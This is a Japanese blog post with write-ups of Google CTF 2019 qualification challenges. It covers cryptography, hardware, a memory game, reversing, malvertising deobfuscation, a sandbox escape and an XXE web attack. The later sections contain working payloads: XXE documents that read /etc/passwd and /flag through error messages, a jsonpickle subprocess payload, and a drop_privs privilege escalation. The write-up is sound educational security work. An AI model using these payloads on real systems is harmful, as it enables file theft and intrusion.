LoginSignup
2
1

More than 3 years have passed since last update.

Google CTF 2019 Qualification Round Write-up

Posted at

本編。Beginnersはこっち

superflipは997点で48位。

image.png

簡単な問題はBeginnersに行っているから、難易度が高い。Solvesが最多の問題でも148チーム、次が134チーム。それ以外の問題は多くとも2桁チームしか解いていない。

このUI止めてほしい。あと、問題タイトルや問題文がマウスで選択しづらい。

CRYPTO

Reverse a cellular automata (80 pts, 148 solved)

It's hard to reverse a step in a cellular automata, but solvable if done right.

https://cellularautomata.web.ctfcompetition.com/

ウェブページを見に行くと、問題の説明と、答えの64ビット値からフラグを復号するコマンドが書かれている。

Rule 126

110011011011110001111000001101111111000011111111101111111001111

を1ステップ戻せというのが問題。これは1次元のライフゲーム。あるマスは周囲3マスの状態で次の世代で生きるか死ぬかが決まり、3マスの8通りの状態を8ビットとみなして0から255の番号をつけて研究対象にされている。Rule 126は、3マスが全部死んでいるか全部生きているなら次の世代は死に、それ以外は生きる。

前の世代を右から1ビットずつ探索していくことを考える。

prev: ...abc...
cur:  ....x....

bc=00もしくはbc=11のとき、x=0ならばa=bx=1ならばa!=bbc=01もしくはbc=10のとき、x=0ならばここまでの仮定が間違っていて、x=1ならばa0でも1でも良い。ということは、平均して2回に1回しかaの値が2通りになることもないし、枝刈りも効くので、せいぜい$2^{32}$程度の探索で前の状態が求まる。

solve.py
n = 64

def rule126(a):
  b = 0
  for i in range(n):
    c = 0
    for j in range(-1, 2):
      c += a>>((i+j)%n)&1
    if 0<c<3:
      b |= 1<<i
  return b

def bt(a, b, p):
  if p>=n:
    if rule126(a)==b:
      a = "%x"%a
      a = "0"*(len(a)-n/4)+a
      print a
    return
  for x in range(2):
    if p>=2:
      c = x
      for j in range(-2, 0):
        c += a>>((p+j)%n)&1
      if int(0<c<3) != (b>>(p-1)&1):
        continue
    bt(a|x<<p, b, p+1)

bt(0, 0x66de3c1bf87fdfcf, 0)

次の世代が0x66de3c1bf87fdfcfになる状態は10,752個もあった。CTF{答え}をフラグにしなかったのはこのためか。全部試してCTF{...}になるものを探す。

solve.sh
cat key.txt | while read k
do
  echo $k > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
  echo
  echo $k
  echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
done
log.txt
3c73e80ecfcd767a
ラ・レ4偈カw?・{コlッタ(若/<XH・ヲ:"Nク
雰瞳?ゥ゙・
3c74180ecfcd767a
ヘモⅷッサ L剴Y-ヲイcs坎
阻、Vヨセ{s疇 顴・・゙訝F
3c73e7f12fcd767a
CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}

3c7417f12fcd767a
o ・・ン4ハノyレjサ寥屡k」メ_マ[
ルSn綯9・賴〇iホ汁

CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}

Quantum Key Distribution (92 pts, 134 solved)

Generate a key using Quantum Key Distribution (QKD) algorithm and decrypt the flag.

https://cryptoqkd.web.ctfcompetition.com/

ページを見ると、同じように問題の説明とフラグの復号方法が書かれている。

量子鍵配送。BB84。脆弱性を突く必要も無くて、送信側を素直に実装すれば良い。

別に盗聴者がいるわけでもなし、「ランダムなビット」は000000...でいいか。とやったら、{"error": "your random key is not random enough!"}と怒られた。

問題に書かれているコードはbinary_keysat_basisを返す。binary_keyがWikipediaの説明の共有鍵。サーバーからのレスポンスは、

basis: List of '+' and 'x' used by the satellite.
announcement: Shared key (in hex), the encryption key is encoded within this key.

これでどうするのかでちょっと悩んだけれど、binary_keyとencryption keyのxorがannouncementだった。前の問題と違って、複数候補が出るわけでもなし、これがフラグでも良かったのでは。

solve.py
import urllib2
import json
import random

random.seed(1234)

n = 128

d = {
  "basis": [],
  "qubits": [],
}
value = []

for _ in range(n*4):
  b = random.choice("+x")
  v = random.choice([0, 1])
  q = [1, 1j][v]
  if b=="x":
    q /= 0.707-0.707j
  d["basis"] += [b]
  d["qubits"] += [{"real": q.real, "imag": q.imag}]
  value += [v]

req = urllib2.Request(
  "https://cryptoqkd.web.ctfcompetition.com/qkd/qubits",
  json.dumps(d),
  {"Content-Type": "application/json"})
ret = urllib2.urlopen(req).read()
ret = json.loads(ret)

share = ""
for i in range(n*4):
  if len(share)>=n:
    break
  if d["basis"][i]==ret["basis"][i].decode("utf-8"):
    share += str(value[i])

key = int(share, 2) ^ int(ret["announcement"], 16)
key = "%x"%key
key = "0"*(n/4-len(key))+key

print "key:", key
$ python solve.py
key: 946cff6c9d9efed002233a6a6c7b83b1
$ echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
$ echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
CTF{you_performed_a_quantum_key_exchange_with_a_satellite}

CTF{you_performed_a_quantum_key_exchange_with_a_satellite}

HARDWARE

flagrom (187 pts, 57 solved)

This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.

nc flagrom.ctfcompetition.com 1337

おお、問題サーバーの裏でボードが実際に動いているのか!?と思いきや、そんなことはなくて、配布ファイルのバイナリのシンボル名を見るに、VerilatorというツールでVerilog HDLのコードをシミュレートしているらしい。ということで、配布ファイル単体で動かせる。DoS対策用にMD5を計算させられる処理があり、色々と試すのは面倒なので、このチェックを潰してローカルで動かすと楽。

seeprom.svがVerilog HDLのコードで「SecureEEPROM」実装している。firmware.8051はフラグをこのROMに書き込んで、読み込めないようにロックを掛ける。その後にこちらが指定したプログラムを実行してくれる。

まずはseeprom.svを読む。

 :
wire i2c_control_rw = i2c_control[0];
 :

このような=は代入ではなく、i2c_control_rwi2c_controlの最下位ビットにあたる配線を繋ぐという定義なので、i2c_controlが書き換われば、その都度i2c_control_rwの値も変わる。

代入にあたるのは<=で、例えばこのコード

always_ff @(posedge i_clk) begin
 :
  case (i2c_state)
    I2C_IDLE: begin
      if (i2c_start) begin
        i2c_state <= I2C_START;
      end
    end
 :

で、「i_clk0から1になるとき、i2c_state==I2C_IDLEかつi2c_start!=0ならば、i2c_stateの値をI2C_STARTに変える」という意味になる。

処理は上から順番に実行されるわけではなく、全ての処理が同時に起こる。

SecureEEPROMのSecureな部分がどう実装されているかを見ていくと、

  • 最初にアドレスをロードするときにそのアドレスがロックされていればi2c_address_valid <= 0として弾く
  • 読み進めるときに、現在のアドレスと次のアドレスのロックの状態が異なれば弾く

という処理になっている。ここに脆弱性があって、まずロックされていないアドレスをロードして、読み進める途中に次のアドレスをロックすると、元からロックされていた部分もそのまま読んでしまう。

firmware.cを参考に攻撃するコードを書く。SDCCというツールでコンパイルできる。

firmware.c
 :
const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const SEEPROM_I2C_ADDR_SECURE = 0b01010000;
 :

がコンパイルエラーになるので、intを追加。

変数名の通りI2Cで通信しているのだけど、I2Cのマスター側の処理が直接firmware.cに書かれているわけではない。

firmware.c
 :
// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH;  // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK;  // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE;  // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8];  // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE;  // Read: 0 - idle, 1 - busy; Write: 1 - start
 :

この部分のメモリを使ってSecureEEPROMと通信する「I2C-M module/chip」が別にいるらしい。こいつが送信のたびにI2CのSTOPシーケンスを送るので、SecureEEPROMでi2c_address_valid <= 0が実行されてしまう。

仕方が無いので、I2C通信を自分で実装。firmware.cでは使われていないのに、

firmware.c
 :
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
 :

と定義が書かれていて優しい。

read_flag.c
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) DEBUG;
__sfr __at(0xfd) CHAROUT;

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

const int SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const int SEEPROM_I2C_ADDR_SECURE = 0b01010000;

void start() {
  RAW_I2C_SCL = 0;
  RAW_I2C_SDA = 1;
  RAW_I2C_SCL = 1;
  RAW_I2C_SDA = 0;
}

void send(unsigned char c) {
  int i;
  for (i=0; i<8; i++)
  {
    RAW_I2C_SCL = 0;
    RAW_I2C_SDA = c>>(7-i)&1;
    RAW_I2C_SCL = 1;
  }

  // ack
  RAW_I2C_SCL = 0;
  CHAROUT = '0'+RAW_I2C_SDA;
  RAW_I2C_SCL = 1;
}

unsigned char recv() {
  int i;
  unsigned char c = 0;
  for (i=0; i<8; i++)
  {
    RAW_I2C_SCL = 0;
    c = c<<1 | RAW_I2C_SDA;
    RAW_I2C_SCL = 1;
  }

  RAW_I2C_SCL = 0;
  RAW_I2C_SDA = 0;
  RAW_I2C_SCL = 1;

  return c;
}

void main(void) {
  int i;
  start();
  send(SEEPROM_I2C_ADDR_MEMORY);
  send(0x00);
  start();
  send(SEEPROM_I2C_ADDR_SECURE | 0b1111);
  start();
  send(SEEPROM_I2C_ADDR_MEMORY | 1);
  for (i=0; i<128; i++)
    CHAROUT = recv();
  POWEROFF = 1;
}
>sdcc read_flag.c

>makebin read_flag.ihx read_flag.bin
read_flag.py
from socket import *
from hashlib import *
from time import *

payload = open("read_flag.bin", "rb").read()

s = socket(AF_INET, SOCK_STREAM)
s.connect(("flagrom.ctfcompetition.com", 1337))

sleep(1)
d = s.recv(999)
print d
prefix = d[-8:-2]
print prefix

i = 0
for i in xrange(0x10000000):
  proof = "flagrom-%d"%i
  if md5(proof).hexdigest()[:6]==prefix:
    break
print proof
s.send(proof+"\n")

sleep(1)
print s.recv(999)
s.send("%d\n"%len(payload))
s.send(payload)

ret = ""
while True:
  d = s.recv(999)
  if d=="":
    break
  ret += d
print ret
>py -2 read_flag.py
What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 1b3d61?

1b3d61
flagrom-25027629
What's the length of your payload?

Executing firmware...
[FW] Writing flag to SecureEEPROM...............DONE
[FW] Securing SecureEEPROM flag banks...........DONE
[FW] Removing flag from 8051 memory.............DONE
[FW] Writing welcome message to SecureEEPROM....DONE
Executing usercode...
0000Hello there.                                                    CTF{flagrom-and-on-and-on}

Clean exit.

CTF{flagrom-and-on-and-on}

MISC

Doomed to Repeat It (173 pts, 65 solved)

Play the classic game Memory. Feel free to download and study the source code.
https://doomed.web.ctfcompetition.com/

Goで書かれた神経衰弱。

はい乱数推測。

random.go
 :
// OsRand gets some randomness from the OS.
func OsRand() (uint64, error) {
    // 64 ought to be enough for anybody
    var res uint64
    if err := binary.Read(rand.Reader, binary.LittleEndian, &res); err != nil {
        return 0, fmt.Errorf("couldn't read random uint64: %v", err)
    }
    // Mix in some of our own pre-generated randomness in case the OS runs low.
    // See Mining Your Ps and Qs for details.
    res *= 14496946463017271296
    return res, nil
}

// deriveSeed takes a raw seed (e.g. some OS randomness), and derives a secure
// seed. Returns exactly 8 bytes.
func deriveSeed(rawSeed uint64) ([]byte, error) {
    buf := make([]byte, 8)
    binary.LittleEndian.PutUint64(buf, rawSeed)
    // We want to make the game (Memory) hard, so thus we use argon2,
    // which is memory-hard.
    // https://password-hashing.net/argon2-specs.pdf
    // argon2 is the pinnacle of security. Nothing is more secure.
    // This is because memory is a valuable resource, one does not simply
    // download more of it.
    // We use IDKey because it protects against timing attacks (Key doesn't).
    // We lowered some parameters to protect against DDOS attacks.
    // TODO: implement proof of work
    seed := argon2.IDKey(buf, buf, 1, 2*1024, 2, 8)
    if len(seed) != 8 {
        return nil, errors.New("argon2 returned bad size")
    }
    return seed, nil
}

// New generates state for a new random stream with cryptographically secure
// randomness.
func New() (*Rand, error) {
    osr, err := OsRand()
    if err != nil {
        return nil, fmt.Errorf("couldn't get OS randomness: %v", err)
    }
    return NewFromRawSeed(osr)
}
 :

OSから乱数を64ビット読んでしっかり初期化しているし、暗号論的乱数を使っている……?ように見えて、res *= 14496946463017271296がダメ。14496946463017271296=0xc92f800000000000。これを掛けると下位47ビットは常に0になって、17ビット分しか残らない。

Goは書き慣れていなくてサーバーとの通信を書くのが大変だし、乱数の初期化が重くて繋いだ後に探索していたら間に合わないので、可能性のある札の並びを全て事前に生成。

make_table.go
package main

import (
    "./7d6680177ddf33167700f021db01c260fac0b25cc05e28d3803a224046fee461/random"
    "fmt"
)

func board(seed uint64) [56]int {
    rand, _ := random.NewFromRawSeed(seed)
    b := [56]int{}
    for i, _ := range b {
        b[i] = i / 2
    }
    // https://github.com/golang/go/wiki/SliceTricks#shuffling
    for i := 56 - 1; i > 0; i-- {
        j := rand.UInt64n(uint64(i) + 1)
        b[i], b[j] = b[j], b[i]
    }
    return b
}

func main() {
    for i := 0; i < 0x20000; i++ {
        fmt.Println(board(uint64(i)*14496946463017271296))
    }
}
>go build make_table.go

>make_table.exe > table.txt

後は慣れたPythonで通信部分を書く。札が56枚で、60枚までめくれるので、最初に5枚はめくって良い。5枚目を開けたままにしておいて、合致する札の並びを探し、それから5枚目と同じ数字を6枚目とする。

solve.py
# pip install websocket-client
import websocket
import json

ws = websocket.create_connection(
  "wss://doomed.web.ctfcompetition.com/ws",
  origin="https://doomed.web.ctfcompetition.com")

ws.send(json.dumps({"op": "info"}))
print ws.recv()

board = [-1]*56
for i in range(5):
  ws.send(json.dumps({"op": "guess", "body": {"x": i, "y": 0}}))
  d = ws.recv()
  print d
  board[i] = json.loads(d)["board"][i]
print "board:", board

answer = []
for l in open("table.txt"):
  l = map(int, l[1:-2].split())
  if l[:5]==board[:5]:
    answer = l
    break
else:
  print "not found"
  exit(0)
print "found"
print "answer:", answer

last = answer[4]
answer[4] = -1
t = answer.index(last)
ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
print ws.recv()

for i in range(28):
  if i!=last:
    for j in range(2):
      t = answer.index(i)
      answer[t] = -1
      ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
      print ws.recv()
>>py -2 solve.py
{"width":7,"board":[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":0,"done":false,"message":"","clear":[]}
 :
{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":59,"done":false,"message":"","clear":[]}

{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,27],"maxTurns":60,"maxTurnTime":10,"turnsUsed":60,"done":true,"message":"You win! Flag: CTF{PastPerf0rmanceIsIndicativeOfFutureResults}","clear":[]}

websocket-clientのここで、Origin:ヘッダがhttp://に固定されているので、https://を指定しないと弾かれた。どうなっているのが正しいのだろう。

CTF{PastPerf0rmanceIsIndicativeOfFutureResults}

REVERSING

Dialtone (189 pts, 56 solved)

You might need a pitch-perfect voice to solve this one. Once you crack the code, the flag is CTF{code}.

逆アセンブルしたら1,000行以上になったし、SSEも使っているし、WSLで動かない。

$ ./a.out
shared memfd open() failed: Function not implemented
pa_simple_new() failed: Connection refused

とはいえ、読むべきコードは少なかった。rの返り値が非負ならばSUCCESSrの後半を見ると、ループ中で[rbp-0x2c]が順に0x9, 0x5, 0xa, 0x6, 0x9, 0x8, 0x1, 0xd, 0x0ではないときに終了している。[rbp-0x2c]どうやって決まっているかを見てみると、1366とか1477とかの定数とfの返り値を比較している。この定数でググるとDTMF。高群と低群が何番目の周波数かを、それぞれ下位と上位の2ビットに入れている。

CTF{859687201}

Malvertising (140 pts, 87 solved)

Unravel the layers of malvertising to uncover the Flag
https://malvertising.web.ctfcompetition.com/

このようなサイト。

YouTubeっぽい部分は全部画像で、"Your advertisement here"のところが<iframe>。この部分を解析しろという問題。アドネットワーク経由で悪意のあるコードをばらまくのには、出題者のGoogleも思うところがあるのか。

metrics.js
 :
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
    try {
        var u = steg[b('0x1a', 'OfTH')](t);
    } catch (v) {}
    if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
        s[s][s](u)();
    }
}
;

bが文字列を難読化している関数。グローバル関数なので、後から開発者コンソールで呼び出すと文字列が分かる。これを置き換えて、obj['name']obj.nameに直したりすると、

metrics.js
 :
var s = 'constructor';
var t = document.getElementById('adimg');
t.onload = function() {
    try {
        var u = steg.decode(t);
    } catch (v) {}
    if (Number(/android/i.test(navigator.userAgent))) {
        s.constructor.constructor(u)();
    }
}
;

Androidならば、uが実行される。UAを変えてみると https://malvertising.web.ctfcompetition.com/ads/src/uHsdvEHFDwljZFhPyKxp.js が読みこまれる。

uHsdvEHFDwljZFhPyKxp.js
 :
function dJw() {
  try {
    return (
      navigator.platform.toUpperCase().substr(0, 5) +
      Number(/android/i.test(navigator.userAgent)) +
      Number(/AdsBot/i.test(navigator.userAgent)) +
      Number(/Google/i.test(navigator.userAgent)) +
      Number(/geoedge/i.test(navigator.userAgent)) +
      Number(/tmt/i.test(navigator.userAgent)) +
      navigator.language.toUpperCase().substr(0, 2) +
      Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) +
      Number(/geoedge/i.test(document.referrer)) +
      Number(/tmt/i.test(document.referrer)) +
      performance.navigation.type +
      performance.navigation.redirectCount +
      Number(navigator.cookieEnabled) +
      Number(navigator.onLine) +
      navigator.appCodeName.toUpperCase().substr(0, 7) +
      Number(navigator.maxTouchPoints > 0) +
      Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) +
      navigator.plugins.length);
  } catch (e) {
    return 'err'
  }
};

a="A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
eval(T.d0(a, dJw()));

dJwでユーザーの環境情報を収集して文字列化し、T.d0でこれを鍵としてaを復号することで、特定のユーザー以外ではスクリプトが実行されず、スクリプトを解析することもできないようにしている。が、T.d0は鍵の先頭16文字しか使っていない。AndroidならばplatformAndroidLinuxlanguageは2文字。typeは先頭1文字が使われ、012。他は01なので充分探索できる。

ここでハマった。uHsdvEHFDwljZFhPyKxp.jsがBase64を復号するとき、atobがあれば使うし、無ければBuffer.prototype.toString('base64')を使う。両者の挙動が(たぶんUnicodeとして正しくない文字とかで)違う。nodeで実行していたら探索に失敗したけれど、ブラウザで実行したら上手く行った。

search.js
// uHsdvEHFDwljZFhPyKxp.jsのevalより前をコピペ

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for (var b=0; b<1<<8; b++)
  for (var l0 of A)
    for (var l1 of A)
      for (var type=0; type<=2; type++)
      {
        //var key = "ANDRO";
        var key = "LINUX";
        //var key = "NULL";
        for (var i=0; i<5; i++)
          key += b>>i&1;
        key += l0 + l1;
        for (var i=5; i<8; i++)
          key += b>>i&1;
        key += type;
        code = String(T.d0(a, key));
        ok = true;
        try {
          eval(code);
        } catch (e) {
          if (e instanceof SyntaxError)
            ok = false;
        }
        if (ok)
          console.log(key + " " + code);
      }
search.html
<script src="search.js"></script>
 :
LINUX00000HV1000 1=mä¹3oê|ÑÕ«ŒØFz—#OGý®ü5­I¿,JZ5T::¼o½?ژŒ3“,Gl¦kUŸ–ÞàC´Ùó5/H2Ë"«ée&ʓ“݇‘4‘x€^9gnMJªU‚V¿¦ŠUC¡
b^ø
LINUX10000FR1000 var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);
LINUX10000GT1002 2=#q?Œ)Ä<Ød뇍Ìý+p’xš0¶”^ô>ÅÌ}œ
”&Ú6!‰KÜfݽ|ږPèã¨5㋟Å×3×°ÖÆÃÂCÑ79¶ðÇ
ƒ„}˜2¾<l°ÚîX­½¯ °…UŽ5dAyŸØ»öŠƒÇ¼
¯]~NŠ‰_PуZáŒø¿«D1
 :

npoTHyBXnpZWgLorNrYc.jsの解析がつらい。WebRTC関係の何かを動かそうとしていてエラーで落ちるし、どこから読んでいるのかわからないdebugでデバッガが停められる。でも、全部解析する必要は無く、最後だけ読めば良かった。

npoTHyBXnpZWgLorNrYc.js
 :
    try {
        if (_0x2fd47c) {
            if ('\x61\x5a\x71\x47\x6d' === _0x5877('0x7f', '\x2a\x62\x78\x5e')) {
                return _0x5e9e2d;
            } else {
                var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
                var _0x4f8041 = _0x14d30a[_0x5877('0x80', '\x21\x38\x29\x66')](candidate)[0x1];
                if (_0x4f8041) {
                    if (_0x4f8041[_0x5877('0x81', '\x46\x28\x45\x23')](/192.168.0.*/)) {
                        var _0xb9e15d = document[_0x5877('0x82', '\x74\x50\x24\x59')](_0x5877('0x83', '\x28\x46\x73\x21'));
                        _0xb9e15d[_0x5877('0x84', '\x61\x4c\x55\x76')](_0x5877('0x85', '\x69\x4f\x61\x28'), _0x5877('0x86', '\x5e\x39\x49\x2a'));
                        document['\x68\x65\x61\x64'][_0x5877('0x87', '\x77\x28\x7a\x4f')](_0xb9e15d);
                    }
                }
            }
        } else {
            if (_0x5877('0x88', '\x6a\x45\x78\x40') !== _0x5877('0x89', '\x45\x37\x4f\x24')) {
                _0x5e9e2d(0x0);
            } else {
                _0x5e9e2d(0x0);
            }
        }
    } catch (_0x7adc77) {}

難読化されている文字列などを戻すと、

npoTHyBXnpZWgLorNrYc.js
 :
    try {
        if (_0x2fd47c) {
            if ('aZqGm' === 'aZqGm') {
                return _0x5e9e2d;
            } else {
                var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
                var _0x4f8041 = _0x14d30a.exec(candidate)[0x1];
                if (_0x4f8041) {
                    if (_0x4f8041.match(/192.168.0.*/)) {
                        var _0xb9e15d = document.createElement('script');
                        _0xb9e15d.setAttribute('src', './src/WFmJWvYBQmZnedwpdQBU.js');
                        document.head.appendChild(_0xb9e15d);
                    }
                }
            }
        } else {
            if ('PYyVn' !== 'XVaYV') {
                _0x5e9e2d(0x0);
            } else {
                _0x5e9e2d(0x0);
            }
        }
    } catch (_0x7adc77) {}
WFmJWvYBQmZnedwpdQBU.js
alert("CTF{I-LOVE-MALVERTISING-wkJsuw}")

CTF{I-LOVE-MALVERTISING-wkJsuw}

SANDBOX

DevMaster 8000 (136 pts, 90 solved)

Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!

I wonder who else might be sharing the DevMaster 8000.

nc devmaster.ctfcompetition.com 1337

えらく重厚なプログラム。README.mdを読むと、

client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary

のように使うと、サーバーでコンパイルしてバイナリを返してくれるらしい。

int array[] = {
#include "hoge.csv"
};

みたいな技があるし、そんな感じでフラグを読むのかな? でも、コンパイルのコマンドも指定できるなら、g++の代わりにcatで良いのでは? と試してみたらエラー。

built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- cat /home/user/flag
cat: /home/user/flag: Permission denied

管理者パスワードの照合処理を見てみる。

admin.cc
 :
char pieces[4] = { IsPrime<416>::eval + '9', IsPrime<1567>::eval + 'c', IsPrime<443>::eval + 'd' , '\0'};

int main(int argc, char** argv) {
  std::cout << "Enter your password please." << std::endl;
  std::string password;
  getline(std::cin, password);

  std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
  std::string actual_hash = picosha2::hash256_hex_string(password);
  if (expected_hash == actual_hash) {
 :

コンパイル時に素数判定をしている。9de312...になる。どうせ逆算できないので意味が無い。

権限はdrop_privsというプログラムで落としているらしい。落とせるならば与えることもできるだろうか? と試してみたらできた。

built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- /home/user/drop_privs admin admin cat /hom
e/user/flag
CTF{two-individually-secure-sandboxes-may-together-be-insecure}

「two-individually-secure-sandboxes」のもう1個は何だろう。

CTF{two-individually-secure-sandboxes-may-together-be-insecure}

WEB

bnv (155 pts, 76 solved)

There is not much to see in this enterprise-ready™ web application.

https://bnv.web.ctfcompetition.com/

最後はずっとこの問題を考えていて、解けなかった。

検索する都市名をJavaScriptで変換して、JSONでAPIに投げている。zurichならば135601360123502401401250になる。これは英語の点字

1 4
2 5
3 6

サイトのロゴも点字。

logo.png

Welcome to the official site of the
associN of the people who are bl

ちょっとおかしい。associationblindだろうか。

点字は記号も表現できるし、結果が出力されるHTML要素のIDがdatabase-dataなので、SQLインジェクションかな? と思ったが、英字26文字以外の点字は無視される。検索が完全一致なので分かる。

server:ヘッダがgunicorn/19.9.0なので、Python。jsonpickleを使っていて、

{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}

とかで攻撃できるのだろうかと考えたが、不発。

サーバーからの応答時間が、2グループに分かれることに気が付いて、サイドチャネル的な何かがあるのかと思ったけれど、何も無し。下のグラフはトップページの応答時間。

image.png

JSONのAPIがあったら、「XMLも受け付けるかも?」と考えるのか。

「これさえ気が付いていれば解けたのにな~」と思って、このツイートを見て挑戦してみたけれど、やっぱり解けなかった。

こちらから送るXMLの中身は返ってこないので、エラーメッセージで出力させるしかない。この辺を参考に。

Black Hat: XML Out-Of-Band Data Retrieval

外部参照でhttp://~を指定しても読んでくれなかった。外部ファイルを読むときにエラーになると、ファイル名が出てくる。

attack1.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % hoge SYSTEM "file:///hoge/fuga">
  %hoge;
]>
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack1.xml
failed to load external entity "file:///hoge/fuga", line 1, column 124

ファイル名の部分に読みたいファイルの中身を持ってきてみる。

attack2.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % x SYSTEM "file:///etc/passwd">
  <!ENTITY % y "<!ENTITY &#x45; z SYSTEM 'file:///hoge/%x;'>">
  %y;
  %z;
]>

ややこしいけれど、%y<!ENTITY % z SYSTEM 'file:///hoge/root:x:0:0:root:/root:/bin/bash...'>になる。しかし、エラー。

$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack2.xml
PEReferences forbidden in internal subset, line 1, column 175

こんな風に値の中で%xを使うのが、内部サブセットではダメらしい。外部サブセットなら可能。とはいえ、自前のファイルを参照させることはできないのだが……。でギブアップ。

attack3.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % x "hoge">
  <!ENTITY % y "%x;">
]>

諦めて他の人の解き方を見てみる。

[GoogleCTF 2019] — Web: BNV — Writeup - HMIF ITB Tech - Medium

/usr/share/yelp/dtd/docbookx.dtdがローカルに存在するから使うらしい。これは分からん……。

aytack.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; x SYSTEM "file:///flag">
    <!ENTITY &#x25; y "<!ENTITY &#x26;#x25; z SYSTEM &#x26;#x22;file:///hoge/&#x25;x;&#x26;#x22;>">
    &#x25;y;
    &#x25;z;
  '>
  %local_dtd;
]>
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack.xml
Invalid URI: file:///hoge/CTF{0x1033_75008_1004x0}, line 1, column 121
2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1